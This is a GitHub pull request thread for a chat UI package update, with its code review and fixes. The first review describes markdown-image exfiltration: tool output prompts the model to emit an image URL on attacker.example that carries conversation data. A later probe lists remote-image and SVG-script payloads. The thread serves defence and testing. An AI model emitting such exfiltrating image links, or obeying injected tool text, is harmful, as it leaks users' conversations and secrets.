Skip to content

page-chat 0.1.4: model brand icons, inline images, gateway port from magpie config - #534

Merged
yetone merged 3 commits into
magpie-community:mainfrom
Magiczerowxy:chat-0.1.4
Oct 31, 2026
Merged

yetone merged 3 commits into
magpie-community:mainfrom
Magiczerowxy:chat-0.1.4

Conversation

@Magiczerowxy

@Magiczerowxy Magiczerowxy commented Oct 30, 2026 •

Copy link
Copy Markdown
Contributor

page-chat 0.1.4

从 0.1.3 升到 0.1.4。

新增

模型品牌图标

  • 模型选择器、每条回复的模型名旁边、输入框的模型按钮,都带品牌图标
  • 24 个品牌的单色 SVG,来自 @lobehub/icons(MIT,见 chat/icons/models/NOTICE),放在 chat/icons/models/
  • 用 CSS mask 上色,颜色跟随主题;按模型 id / provider 关键词匹配,匹配不到就退回原来的供应商图标

回复里的图片

  • 只内联 base64 data URI(png/jpeg/gif/webp/avif/svg+xml)—— 远程 URL 不自动加载,显示成可点的链接
  • 点开看大图(复用附件用的 lightbox);加载失败降级成一行可点的链接

系统提示词开关

  • 设置栏「系统提示词」下面加「使用系统提示词」开关
  • 关闭后手写的那段不发给模型,勾选的指令和技能照旧生效

界面调整

  • 空状态去掉了三个推荐对话按钮,只留标题和一句说明
  • 输入框右下角的模型按钮去掉了「模型」前缀,改成「品牌图标 + 模型名」,没选时显示「选择模型」

修复

  • 流式按最后一个代码围栏外的空行切分,带空行的代码块不再跳变;整段一次到达的回复也会渲染
  • gateway 读 settings.json / XDG_CONFIG_HOME 里的实际端口,bootstrap 返回真正探测成功的地址
  • stdio MCP 服务器固定 <config>/magpie-chat/workspace 作为工作目录,并设 PWD
  • 启动页 5 秒兜底 + 重试按钮(WebKit 静默卡住)
  • runChat 补上 options 参数(之前 resolveGateway(options) 会抛 ReferenceError)
  • 删掉没人读的 port.json 写入

测试

bun test chat.test.mjs
25 pass / 0 fail / 105 expect()

新增 5 个:systemEnabled 开关、MCP workspace、gateway 候选端口、远程图片不自动加载、一帧到达的回复能渲染。

保留

  • 0.1.3 的全部安全机制(进程 token、Host 校验、Origin 校验)
  • magpie.page.service / magpie.options.port 声明与 server 钩子启动方式
  • 前端 API 相对路径

…magpie config

- Model brand icons (OpenAI / Claude / Gemini / DeepSeek / Qwen / Kimi / GLM / MiniMax / MiMo / ...)
  in the model picker, next to each reply and on the composer's model button
- Inline images in replies: ![alt](https://...) and base64 data URIs render in place and open full size
- Streaming: split the render at the last blank line outside code fences, so code blocks with blank
  lines no longer jump; a reply that arrives in one chunk still renders
- Gateway: read the real port from magpie's settings.json (and XDG_CONFIG_HOME); report the address
  actually probed instead of recomputing the candidate list
- MCP: stdio servers run in <config>/magpie-chat/workspace, and the tools hint says so
- New "use system prompt" switch (ticked instructions and skills still apply)
- Launcher: after 5s, show a "service is not running" message with a Retry button (WebKit hangs silently)
- Remove the dead port.json write
- Fix: runChat never received options, so resolveGateway(options) threw

@yetone yetone left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks. I read the whole diff at e3a3906. Most of it is good:

  • The system-prompt switch is applied on both sides: composeSystem on the server and send() on the page.
  • The stdio MCP servers now get their own workspace, so a tool's relative writes no longer land next to magpie's settings.json.
  • lastSafeBreak keeps code fences together while a reply streams.
  • Reading the port from settings.json reads a key magpie really writes (Port int json:"port").

The suite passes (see the end), but three things need changing before this merges.

1. A reply can send data off the machine with no click. Inline images accept any https:// URL (safeImgSrc, chat/app.js), and the chat UI is served with no CSP. A model's reply that contains ![](https://attacker.example/?q=<anything>) therefore makes the page fetch that URL as soon as the reply is drawn.

This page also runs the user's MCP tools: a web fetch, a GitHub issue, a file. Text a tool returns can tell the model to write such an image with the conversation, a file's contents or a token in the query. This is the usual markdown-image exfiltration path, and a page with tools is exactly where it matters. Please don't load remote images by default. Either:

  • render data: URIs only, and show an https:// image as a link or a "click to load" placeholder; or
  • serve the UI with a CSP whose img-src is 'self' data: blob:.

2. A reply that arrives all at once comes out empty again. finish() used to render whenever the message had content:

else if (refs.body && refs.msg.content) renderMarkdown(refs.body, refs.msg.content);

Its comment said why: when the whole reply comes in one frame, pumpTick never runs, so dirty is false and there is no .md-stable. 0.1.4 changes the condition to refs.body.querySelector(".md-stable"), which is false in exactly that case. pumpFlush moves the text into msg.content without drawing it, so the body stays empty. This undoes the fix from 0.1.3 (#498). Please keep the content check, and render once when either condition holds.

3. chat/style.css is now CRLF. The file was LF, so the diff shows all 2,729 lines changed. With -w --ignore-cr-at-eol it is +72/-25. Please convert it back to LF so the real change can be reviewed and blamed.

Smaller things:

  • toolsHint now puts the absolute workspace path, /Users/<name>/.config/magpie/magpie-chat/workspace, into the system prompt, which goes to the vendor along with the user's account name. A relative description ("the chat's own workspace folder") would do. Alternatively, leave it out: the server's cwd already makes relative paths land there.
  • The brand icons are from @lobehub/icons. Please name the source and its license (MIT) in the README, or in a NOTICE beside chat/icons/models/.
  • Taking out the empty state's suggestion buttons and the 「模型」 label is fine since this is your package. Please mention both in the PR body, though, since the README doesn't.

What I ran (Mac mini, Bun 1.4.2, through mote-run, sandbox HOME), at e3a3906:

  • HOME=$(mktemp -d) bun test: 3869 pass, 0 fail, including the three new chat tests.
  • bun scripts/check.mjs: exit 0.

Items 1 and 2 come from reading the code. Neither has a test yet, and a test for each would help: a reply with an https:// image loads nothing, and a reply delivered in one frame renders.

- Never auto-load remote images: safeImgSrc now only accepts base64 data URIs, so a reply
  containing ![](https://attacker/?q=...) can no longer make the page fetch that URL (it could
  carry conversation text, MCP tool output or the page token). Remote images become a
  click-through link instead.
- finish(): render whenever the message has content. Checking only for .md-stable made a reply
  that arrived in one chunk render empty, because that structure never exists in that case.
- chat/style.css back to LF (it was CRLF, showing a 2729-line diff for a 72-line change).
- toolsHint: drop the absolute workspace path from the system prompt (it carried the local user
  name to the model vendor); describe it as the chat's own workspace instead.
- Add chat/icons/models/NOTICE with the @lobehub/icons source and MIT license; mention the icons
  in the README.
- Two new regression tests: remote images are not auto-loaded, and a one-chunk reply renders.
@Magiczerowxy

Copy link
Copy Markdown
Contributor Author

@yetone 三条都改了,小问题也一起处理了。3e3233f

1. 远程图片不再自动加载

safeImgSrc 现在只放 base64 data URI,https?:// 一律返回空。图片分支改成:

if (!imgSrc) {
  // 远程图片不自动加载,给一个用户主动点的链接
  var imgLink = remoteImgLink(m[9], m[8]);
  if (imgLink) parent.appendChild(imgLink);
  else appendText(parent, m[0]);
}

验证:渲染 ![窃取](https://attacker.example/steal?q=secret) 之后,DOM 里 img.md-img 是 0 个、a.md-img-link 是 1 个,Playwright 的 request 监听一次都没打到 attacker;data URI 仍然正常渲染成图片。

2. 一帧到达的回复又空了

finish() 的条件改回内容判断:

else if (refs.body && refs.msg.content) renderMarkdown(refs.body, refs.msg.content);

验证:构造一个没有 .md-stable、dirty=false 的 turn,跑这段分支后正文正常显示。

3. chat/style.css 回到 LF

转成 LF 了;同一文件里 .md-img-link 那段也是 LF。

小问题

  • toolsHint 去掉了绝对路径,改成「工具用相对路径读写文件时,落在对话页自己的工作目录里」。不再把本机用户名带进 system prompt。
  • 新增 chat/icons/models/NOTICE:写明图标来自 @lobehub/icons,附 MIT 全文;README 的模型那条也加了来源和链接。
  • 空状态的建议按钮和「模型」标签确实删了,PR 描述里补了说明。

新测试

bun test chat.test.mjs
25 pass / 0 fail / 105 expect()

两个回归:the chat UI never auto-loads a remote image(扫 safeImgSrc 函数体,不允许出现 https?)和 finish() renders a reply that arrived in one chunk。

@yetone yetone left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, I read 3e3233f line by line. All three blockers are fixed in the code, and so are the smaller items. One thing still stops the merge: the new remote-image test doesn't fail when the protection it's named for is taken out.

Checked against the code, and in a real browser

I ran the real service (startServer) against a fake gateway. The gateway sends the whole reply in one SSE chunk, the page is driven through Playwright, and every request that leaves 127.0.0.1 is aborted and recorded. The reply contained:

  • ![](https://…?q=secret), http://, protocol-relative //, and blob: images;
  • <img src>, <img srcset>, <picture><source srcset>, <div style="background:url(…)">, and a <style> block;
  • a link wrapped around an image, a reference-style image, and a bare https://….png;
  • KaTeX \includegraphics{https://…} and \href;
  • a data:image/svg+xml;base64 image whose SVG has a <script>, onload, an <image href=https://…> and CSS url(https://…). I also clicked it to open the lightbox.

Result: no request leaves the machine. The https and http images show as a.md-img-link, raw HTML stays text, and the data-URI PNG and SVG render as <img>, so their scripts don't run. The one-chunk reply renders in full. chat/style.css and every other changed file are LF. Reading the port is read-only: configuredGateways only calls readFileSync/existsSync, every candidate is 127.0.0.1, and an explicit gateway or MAGPIE_ADDR still comes first. Taking out the port.json write is fine too, since nothing read it.

Broken by hand

  • B, finish() back to .md-stable only: the probe shows an empty body, and finish() renders a reply that arrived in one chunk goes red. Good.
  • A, if (/^https:\/\//i.test(url)) return url; added to safeImgSrc: the probe records https://attacker.example/md?q=secret, but the chat UI never auto-loads a remote image still passes (25/25). The test only looks for the literal text https?: in the function body, so any other way of writing the check gets past it.

Blocker: make the remote-image test check what the function does. A test named for a guarantee has to go red when that guarantee is broken. Take safeImgSrc out of app.js and call it. For example, take the source from function safeImgSrc to function remoteImgLink, then new Function(src + "; return safeImgSrc")(). Assert that https://x/a.png, HTTPS://x, http://x, //x/a.png, blob:https://x/1 and data:text/html;base64,… all give "", and that data:image/png;base64,… comes back unchanged. With change A above, that test fails.

Optional: the finish() test is also a regex over the source, so a harmless reformat would break it. Calling finish on a stub turn would be sturdier. I won't hold the merge for it.

What I ran (Mac mini, Bun 1.4.2, mote-run, sandbox HOME), at 3e3233f:

  • bun test: 3871 pass, 0 fail, 9 skip on three runs. A first run under load (another session's GUI suite was on the box) had 1 fail. I lost its name by piping through tail, and it didn't come back.
  • bun scripts/check.mjs: exit 0.
  • The Playwright probe above, Chromium: no external requests, one-chunk reply rendered. Breaks A and B as described. WebKit didn't launch on the box while it was under load (a Playwright launch timeout), so the probe hasn't run in WebKit yet. I'll run it there on the next round.

…e text

The old test only looked for the literal "https?" in safeImgSrc's body, so rewriting the check
in any other way would still pass while the page started fetching remote images. It now extracts
safeImgSrc and calls it: data URIs must come back unchanged, and https://, HTTPS://, http://,
//host, blob:https:// and data:text/html must all return "".

Verified the test fails when safeImgSrc is changed to accept https:// again, and passes when
reverted.
@Magiczerowxy

Copy link
Copy Markdown
Contributor Author

Blocker 修了,8ded766。

the chat UI never auto-loads a remote image 现在真的调用 safeImgSrc:

const safeImgSrc = new Function(app.slice(start, end) + "\nreturn safeImgSrc")()
const png = "data:image/png;base64,iVBORw0KGgo="
expect(safeImgSrc(png)).toBe(png)
const svg = "data:image/svg+xml;base64,PHN2Zz48L3N2Zz4="
expect(safeImgSrc(svg)).toBe(svg)
for (const bad of [
  "https://a.png", "HTTPS://a.png", "http://a.png", "//a.png",
  "blob:https://a.png", "data:text/html;base64,PHNjcmlwdD4=",
]) {
  expect(safeImgSrc(bad)).toBe("")
}

按你说的反向验证过了:

操作 结果
把 if (/^https?:\/\//i.test(url)) return url; 加回 safeImgSrc 24 pass / 1 fail,失败的就是这个测试
删掉那行 25 pass / 0 fail / 112 expect()

finish() 那个测试还是源码检查。真要调 finish() 得 mock 整个 refs/turn 和 DOM(buildTurn 依赖 state.models、updateMeta 等等),写出来会比被测逻辑还长。先留着当轻量回归;如果你觉得值得我补一个 stub turn 的版本。

你那边的 Playwright 探针(只放行 127.0.0.1、记录所有外部请求)比我本地的手测更全面——特别是 <img src>、<picture><source>、<style> 里 background:url()、KaTeX \includegraphics 这些 raw HTML 路径,我这边只验证了 markdown 的 ![]() 分支。

@yetone
yetone merged commit 20a3898 into magpie-community:main Oct 31, 2026
2 checks passed
@yetone

yetone commented Oct 31, 2026

Copy link
Copy Markdown
Contributor

已合并为 20a3898,page-chat 0.1.4 已在 dist 分支上(index.json latest 0.1.4,sha512 对得上)。谢谢!

一个小的后续:README 的「What the service reads and sends」还写着网关按 MAGPIE_CHAT_GATEWAY → MAGPIE_ADDR → 3425 的顺序,没提新的 settings.json 端口这一步,也还写着 settings.json 只读字体。方便的话再开个小 PR 补一下。

@Magiczerowxy

Copy link
Copy Markdown
Contributor Author

谢谢!小 PR 开了:#542

改了两处:

  • settings.json 的说明从「只读字体」改成「字体,以及这个构建写进去的网关 port」
  • 网关顺序补上中间那一步:MAGPIE_CHAT_GATEWAY → MAGPIE_ADDR → settings.json 的 port → http://127.0.0.1:3425

只改 README 和版本号(0.1.5),没有代码改动。

yetone pushed a commit that referenced this pull request Oct 31, 2026
page-chat 0.1.5 documents the gateway port it now reads from magpie's settings.json (#534's follow-up).

The README order now matches chat's code at 20a3898: MAGPIE_CHAT_GATEWAY, then MAGPIE_ADDR, then settings.json's port, then 127.0.0.1:3425. settings.json is listed as read for fonts and the port.

Run: read the diff against packages/chat's gateway lookup at 20a3898. It is docs plus the version bump; no code changed, so no tests were run.

Co-authored-by: Magiczerowxy <Magiczerowxy@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants